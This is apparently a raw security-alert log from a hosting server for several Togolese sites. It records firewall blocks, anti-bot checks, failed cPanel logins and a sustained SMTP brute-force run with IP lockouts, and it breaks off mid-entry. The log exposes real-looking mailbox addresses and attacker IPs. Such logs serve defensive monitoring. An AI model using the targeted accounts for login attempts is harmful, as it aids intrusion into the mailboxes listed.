country_id: 2921044
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:154.36.110.126||TA:154.36.110.126||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.212.209
country_id: 6251999
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.253.212.209||TA:104.253.212.209||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 171.22.248.126
country_id: 3017382
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:171.22.248.126||TA:171.22.248.126||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.116.42
country_id: 6252001
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:152.232.116.42||TA:152.232.116.42||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:25:00 +0000] "GET /favicon.ico HTTP/2.0" 415 587 togofarm.tg "https://togofarm.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13027950&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782505292" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:24:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13027950&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782505292 HTTP/2.0" 404 159 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (iPad; CPU OS 9_0_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A404 Safari/601.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.79.171.26
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/533604447 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-06-26 20:25:52 dovecot_login authenticator failed for H=(pipenode.vds-host.org) [207.254.71.129]:58046: 535 Incorrect authentication data (set_id=gestion-cime2@otr.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 165.22.187.91
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.7103.25 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.13.250.147
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/11/IMG-20211107-WA0122.jpg 600w, http:/togodailynews.tg/wp-content/uploads/2021/11/IMG-20211107-WA0122-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/11/IMG-20211107-WA0122-272x182.jpg 272w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.173
country_id: 1880251
description:
47.128.121.173 - - [26/Jun/2026:20:26:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120039&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fassociation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782505610 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/association/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.173


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.244.253.185
country_id: 3469034
description:
[2026-06-26 20:29:54 +0000] info [cpaneld] 170.244.253.185 - sp "GET /login/?login_only=1&user=sp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.65.86.54
country_id: 3932488
description:
[2026-06-26 20:29:37 +0000] info [cpaneld] 181.65.86.54 - sproca "GET /login/?login_only=1&user=sproca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sproca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 43.245.93.27
country_id: 1282988
description:
[2026-06-26 20:29:42 +0000] info [cpaneld] 43.245.93.27 - sprocatg "GET /login/?login_only=1&user=sprocatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sprocatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.201.48.231
country_id: 3469034
description:
[2026-06-26 20:29:46 +0000] info [cpaneld] 128.201.48.231 - sproc "GET /login/?login_only=1&user=sproc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sproc (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.143.148
country_id: 587116
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/3d4152 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.112.219.124
country_id: 3658394
description:
[2026-06-26 20:29:51 +0000] info [cpaneld] 200.112.219.124 - spr "GET /login/?login_only=1&user=spr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user spr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.123.53.209
country_id: 3865483
description:
[2026-06-26 20:29:32 +0000] info [cpaneld] 200.123.53.209 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.170.239.53
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/1955182794 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.4
country_id: 3469034
description:
Jun 26 20:30:56 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.4 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.244.25
country_id: 2264397
description:
158.173.244.25 - - [26/Jun/2026:20:31:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13200326&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782505912 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.244.25


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.223.207
country_id: 3017382
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.253.223.207||TA:104.253.223.207||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.66.178
country_id: 6251999
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.253.66.178||TA:104.253.66.178||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:33:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816221&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782506038 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.162.96
country_id: 6252001
description:
2026-06-26 20:34:29 H=([64.89.162.96]) [64.89.162.96]:65061 F=<dpr@priv8shop.com> rejected RCPT <\jerryhopper00100@proton.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.15.156.129
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/a1cfc1 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.175.141.202
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:107.175.141.202||TA:107.175.141.202||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 46.122.98.30
country_id: 3190538
description:
46.122.98.30 - - [26/Jun/2026:20:36:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065353&pdata=https%3A%2F%2Flacs1.mairie.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782506179 HTTP/1.1" 404 561 lacs1.mairie.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:46.122.98.30


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.56.15.5
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/1891192972 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jun 26 20:37:17 ns5 sshd[628353]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:37:59 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:38:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:12900: 535 Incorrect authentication data (set_id=sabo@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:37:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:6554: 535 Incorrect authentication data (set_id=ganttproject@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:37:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53918: 535 Incorrect authentication data (set_id=member@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:38:07 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:37:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:62388: 535 Incorrect authentication data (set_id=vet@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:38:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50218: 535 Incorrect authentication data (set_id=sabo@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:38:30 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:38:35 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.208.42.41
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1149126600 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.236.83.0
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/aa9c99 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 26 20:38:23 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:38:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:17248: 535 Incorrect authentication data (set_id=vet@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:38:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:34120: 535 Incorrect authentication data (set_id=member@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:38:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47340: 535 Incorrect authentication data (set_id=papa@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.254.174.176
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/333744392 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:39:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57998: 535 Incorrect authentication data (set_id=jsmith@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:39:17 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 26 20:39:20 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.152.22.191
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/927b60 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:39:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:10434: 535 Incorrect authentication data (set_id=khairuddin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:39:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:23512: 535 Incorrect authentication data (set_id=jiangtao@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:39:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28610: 535 Incorrect authentication data (set_id=martina@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 26 20:39:48 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.159.122.109
country_id: 3865483
description:
Jun 26 20:40:10 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.159.122.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:39:22 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.5.117.80
country_id: 3595528
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/18613909 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:39:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816221&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782506038 HTTP/2.0" 404 159 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (iPad; CPU OS 9_0_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A404 Safari/601.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:39:52 +0000] "GET /favicon.ico HTTP/2.0" 415 587 togofarm.tg "https://togofarm.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816221&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782506038" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:40:18 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:40:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:60268: 535 Incorrect authentication data (set_id=kozlov@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:40:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:47322: 535 Incorrect authentication data (set_id=gerardo@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:41:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:36524: 535 Incorrect authentication data (set_id=ozren@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 26 20:40:21 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 26 20:40:50 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.159.122.109
country_id: 3865483
description:
Jun 26 20:40:19 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.159.122.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:40:19 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:40:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32344: 535 Incorrect authentication data (set_id=wwwx@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:40:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47436: 535 Incorrect authentication data (set_id=newftp@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 26 20:41:13 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 26 20:41:40 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.245.225.85
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/533604447 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:41:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44180: 535 Incorrect authentication data (set_id=sara123@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:41:43 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:41:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:16806: 535 Incorrect authentication data (set_id=santiago@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:41:15 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:41:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23710: 535 Incorrect authentication data (set_id=lion@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:41:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:23634: 535 Incorrect authentication data (set_id=annette@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:42:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:60400: 535 Incorrect authentication data (set_id=topicid@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:42:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:64306: 535 Incorrect authentication data (set_id=peach@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:42:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:57628: 535 Incorrect authentication data (set_id=gdemarco@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.246.48.18
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/1078976811 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:42:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:52536: 535 Incorrect authentication data (set_id=xf@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:42:31 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 26 20:42:41 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 26 20:42:24 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:42:35 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.138.3
country_id: 690791
description:
Jun 26 20:43:06 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.138.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:43:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:35962: 535 Incorrect authentication data (set_id=redirect@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:43:29 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:43:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:33916: 535 Incorrect authentication data (set_id=saslauth@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:43:14 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
